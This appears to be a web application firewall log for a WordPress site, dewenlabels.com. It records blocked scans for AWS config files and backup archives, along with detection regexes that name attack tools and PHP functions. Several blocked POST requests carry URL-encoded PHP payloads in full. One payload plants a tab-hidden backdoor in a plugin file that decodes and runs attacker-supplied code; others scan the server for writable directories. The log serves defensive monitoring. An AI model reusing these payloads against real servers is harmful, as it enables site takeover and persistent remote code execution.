["2026-04-13 20:59:28","34.186.187.208","HEAD","\/.aws\/config","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/.aws\/config HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/.aws\/config\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 20:59:29","34.186.187.208","GET","\/.aws\/config","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/.aws\/config HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/.aws\/config\nrange:bytes=0-1023\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 20:59:30","34.186.187.208","HEAD","\/wwwroot.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/wwwroot.zip HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:iaudit\/0.1\nreferer:http:\/\/dewenlabels.com:80\/wwwroot.zip\n\n"]
["2026-04-13 20:59:30","34.186.187.208","HEAD","\/wwwroot.zip","iaudit\/0.1","user_agent","60秒以内累计超过6次以上非法请求,封锁180秒","HEAD \/wwwroot.zip HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:iaudit\/0.1\nreferer:http:\/\/dewenlabels.com:80\/wwwroot.zip\n\n"]
["2026-04-13 21:02:30","34.186.187.208","HEAD","\/wp_backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/wp_backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp_backup.zip\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:31","34.186.187.208","GET","\/wp_backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/wp_backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp_backup.zip\nrange:bytes=0-1023\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:32","34.186.187.208","HEAD","\/wp-site-backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/wp-site-backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-site-backup.zip\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:33","34.186.187.208","GET","\/wp-site-backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/wp-site-backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-site-backup.zip\nrange:bytes=0-1023\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:34","34.186.187.208","HEAD","\/wp-backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/wp-backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-backup.zip\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:35","34.186.187.208","GET","\/wp-backup.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/wp-backup.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-backup.zip\nuser-agent:iaudit\/0.1\nrange:bytes=0-1023\n\n"]
["2026-04-13 21:02:36","34.186.187.208","HEAD","\/wp-config.zip","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/wp-config.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-config.zip\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:02:36","34.186.187.208","HEAD","\/wp-config.zip","iaudit\/0.1","user_agent","60秒以内累计超过6次以上非法请求,封锁180秒","HEAD \/wp-config.zip HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/wp-config.zip\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 21:03:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phar-io\/manifest\/src\/values\/CopyrightInformation.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522c%255Cx6Fmp%2522%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524res%2520%253D%2520%2524_POST%255B%2522c%255Cx6Fmp%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524desc%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524w%2520%253D%25200%253B%2520while%2520%2528%2524w%2520%253C%2520count%2528%2524res%2529%2529%2520%257B%2520%2524v8%2520%253D%2520%2524res%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E90%253B%2520%2524desc%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pointer%2520as%2520%2524entry%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524entry%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524obj%2520%253D%2520%2522%2524entry\/.pgrp%2522%253B%2520if%2520%2528file_put_contents%2528%2524obj%252C%2520%2524desc%2529%2529%2520%257B%2520require%2520%2524obj%253B%2520unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4402\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nBY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phar-io\/manifest\/src\/values\/CopyrightInformation.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522c%255Cx6Fmp%2522%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524res%2520%253D%2520%2524_POST%255B%2522c%255Cx6Fmp%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524desc%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524w%2520%253D%25200%253B%2520while%2520%2528%2524w%2520%253C%2520count%2528%2524res%2529%2529%2520%257B%2520%2524v8%2520%253D%2520%2524res%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E90%253B%2520%2524desc%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pointer%2520as%2520%2524entry%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524entry%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524obj%2520%253D%2520%2522%2524entry\/.pgrp%2522%253B%2520if%2520%2528file_put_contents%2528%2524obj%252C%2520%2524desc%2529%2529%2520%257B%2520require%2520%2524obj%253B%2520unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-04-13 21:20:11","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> nf:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvozLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3339\naccept:*\/*\naccept-encoding:gzip,deflate\n\nnf=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-13 21:35:51","95.217.51.155","GET","\/xmlrpc.php","XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","GET \/xmlrpc.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)\nhost:dewenlabels.com\nconnection:keep-alive\n\n"]
["2026-04-13 21:35:54","95.217.51.155","POST","\/xmlrpc.php","XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)","POST \/xmlrpc.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:XMLRPC-Audit\/1.0 (https:\/\/github.com\/example\/xmlrpc_audit)\nhost:dewenlabels.com\ncontent-length:89\nconnection:keep-alive\n\n<?xml version='1.0'?><methodCall><methodName>system.listMethods<\/methodName><\/methodCall>"]
["2026-04-13 22:20:08","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ue:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:3339\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft 